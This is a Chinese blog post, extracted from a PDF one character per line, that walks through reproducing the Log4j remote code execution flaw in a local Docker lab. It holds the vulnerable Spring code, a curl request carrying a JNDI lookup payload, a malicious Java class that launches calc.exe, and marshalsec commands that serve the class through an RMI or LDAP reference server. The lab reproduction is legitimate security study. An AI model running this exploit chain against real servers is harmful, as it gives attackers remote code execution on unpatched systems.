一个日牯子
Home
Tags
GitHub
Author
2021-12-10
SVG
HTML
PDF
如
何
复
现
1
L
o
g
4
j
远
程
代
码
执
行
漏
洞
的
复
现
安
全
闲
话
编
程
C
o
n
t
e
n
t
s
如
何
复
现
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
1
准
备
复
现
环
境
编
写
恶
意
代
码
启
动
服
务
测
试
突
然
爆
出
个
大
漏
洞
,
闹
得
全
世
界
都
在
修
这
个
问
题
。
但
这
个
问
题
到
底
能
不
能
复
现
出
来
呢
?
花
了
一
些
时
间
,
终
于
折
腾
出
来
了
。
如
何
复
现
准
备
复
现
环
境
已
经
有
安
全
平
台
准
备
了
测
试
的
镜
像
:
d
o
c
k
e
r
r
u
n
-
d
-
P
v
u
l
f
o
c
u
s
/
l
o
g
4
j
2
-
r
c
e
-
2
0
2
1
-
1
2
-
0
9
:
l
a
t
e
s
t
反
编
译
看
了
一
下
里
面
的
内
容
,
其
实
特
别
简
单
:
@
S
p
r
i
n
g
B
o
o
t
A
p
p
l
i
c
a
t
i
o
n
@
R
e
s
t
C
o
n
t
r
o
l
l
e
r
p
u
b
l
i
c
c
l
a
s
s
L
o
g
4
j
2
R
c
e
A
p
p
l
i
c
a
t
i
o
n
{
p
r
i
v
a
t
e
s
t
a
t
i
c
f
i
n
a
l
L
o
g
g
e
r
l
o
g
g
e
r
=
L
o
g
M
a
n
a
g
e
r
.
g
e
t
L
o
g
g
e
r
(
L
o
g
4
j
2
R
c
e
A
p
p
l
i
c
a
t
i
o
n
.
c
l
a
s
s
)
;
p
u
b
l
i
c
L
o
g
4
j
2
R
c
e
A
p
p
l
i
c
a
t
i
o
n
(
)
{
}
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
{
S
p
r
i
n
g
A
p
p
l
i
c
a
t
i
o
n
.
r
u
n
(
L
o
g
4
j
2
R
c
e
A
p
p
l
i
c
a
t
i
o
n
.
c
l
a
s
s
,
a
r
g
s
)
;
}
@
P
o
s
t
M
a
p
p
i
n
g
(
{
"
/
h
e
l
l
o
"
}
)
p
u
b
l
i
c
S
t
r
i
n
g
h
e
l
l
o
(
S
t
r
i
n
g
p
a
y
l
o
a
d
)
{
S
y
s
t
e
m
.
s
e
t
P
r
o
p
e
r
t
y
(
"
c
o
m
.
s
u
n
.
j
n
d
i
.
l
d
a
p
.
o
b
j
e
c
t
.
t
r
u
s
t
U
R
L
C
o
d
e
b
a
s
e
"
,
"
t
r
u
e
"
)
;
S
y
s
t
e
m
.
s
e
t
P
r
o
p
e
r
t
y
(
"
c
o
m
.
s
u
n
.
j
n
d
i
.
r
m
i
.
o
b
j
e
c
t
.
t
r
u
s
t
U
R
L
C
o
d
e
b
a
s
e
"
,
"
t
r
u
e
"
)
;
l
o
g
g
e
r
.
e
r
r
o
r
(
"
{
}
"
,
p
a
y
l
o
a
d
)
;
l
o
g
g
e
r
.
i
n
f
o
(
"
{
}
"
,
p
a
y
l
o
a
d
)
;
l
o
g
g
e
r
.
i
n
f
o
(
p
a
y
l
o
a
d
)
;
l
o
g
g
e
r
.
e
r
r
o
r
(
p
a
y
l
o
a
d
)
;
r
e
t
u
r
n
"
o
k
"
;
}
}
当
启
动
上
面
的
程
序
后
,
直
接
调
用
就
可
以
测
试
:
c
u
r
l
-
-
r
e
q
u
e
s
t
P
O
S
T
\
-
-
u
r
l
h
t
t
p
:
/
/
l
o
c
a
l
h
o
s
t
:
8
0
8
0
/
h
e
l
l
o
\
如
何
复
现
2
-
-
h
e
a
d
e
r
'
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
'
\
-
-
d
a
t
a
'
p
a
y
l
o
a
d
=
$
{
j
n
d
i
:
r
m
i
:
/
/
l
o
c
a
l
h
o
s
t
:
1
0
9
9
/
E
x
e
c
T
e
s
t
}
'
\
-
-
d
a
t
a
=
\
-
-
d
a
t
a
=
可
以
看
到
日
志
中
打
印
出
来
相
关
的
日
志
。
但
是
我
们
的
目
标
不
仅
于
此
,
如
何
真
正
执
行
一
些
有
意
思
的
操
作
,
比
如
开
启
个
计
算
器
?
编
写
恶
意
代
码
准
备
一
个
简
单
的
恶
意
代
码
,
这
个
类
在
初
始
化
的
时
候
调
用
系
统
进
程
:
p
u
b
l
i
c
c
l
a
s
s
E
x
e
c
T
e
s
t
{
p
u
b
l
i
c
E
x
e
c
T
e
s
t
(
)
{
t
r
y
{
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
"
Y
o
u
'
r
e
H
a
c
k
e
d
!
!
!
"
)
;
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
"
c
a
l
c
.
e
x
e
"
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
}
}
将
其
编
译
为
文
件
,
并
需
要
发
布
到
网
络
地
址
上
,
最
简
单
的
是
用
或
者
来
弄
,
比
如
:
c
d
t
a
r
g
e
t
/
c
l
a
s
s
e
s
p
y
t
h
o
n
3
-
m
S
i
m
p
l
e
H
T
T
P
S
e
r
v
e
r
启
动
R
M
I
服
务
使
用
可
以
快
速
启
动
或
者
,
这
个
工
具
需
要
自
己
编
译
:
m
v
n
c
l
e
a
n
p
a
c
k
a
g
e
-
D
"
m
a
v
e
n
.
t
e
s
t
.
s
k
i
p
"
=
t
r
u
e
j
a
v
a
-
c
p
.
\
m
a
r
s
h
a
l
s
e
c
-
0
.
0
.
3
-
S
N
A
P
S
H
O
T
-
a
l
l
.
j
a
r
m
a
r
s
h
a
l
s
e
c
.
j
n
d
i
.
R
M
I
R
e
f
S
e
r
v
e
r
h
t
t
p
:
/
/
l
o
c
a
l
h
o
s
t
:
8
0
0
0
/
#
E
x
e
c
T
e
s
t
#
j
a
v
a
-
c
p
m
a
r
s
h
a
l
s
e
c
-
0
.
0
.
3
-
S
N
A
P
S
H
O
T
-
a
l
l
.
j
a
r
m
a
r
s
h
a
l
s
e
c
.
j
n
d
i
.
L
D
A
P
R
e
f
S
e
r
v
e
r
h
t
t
p
:
/
/
l
o
c
a
l
h
o
s
t
:
8
0
8
0
/
\
#
E
x
e
c
T
e
s
t
1
3
8
9
测
试
在
之
前
的
请
求
内
容
中
填
上
的
地
址
,
调
用
成
功
后
即
可
弹
出
计
算
器
。
HTML view coming soon.
Download PDF
for the full formatted version.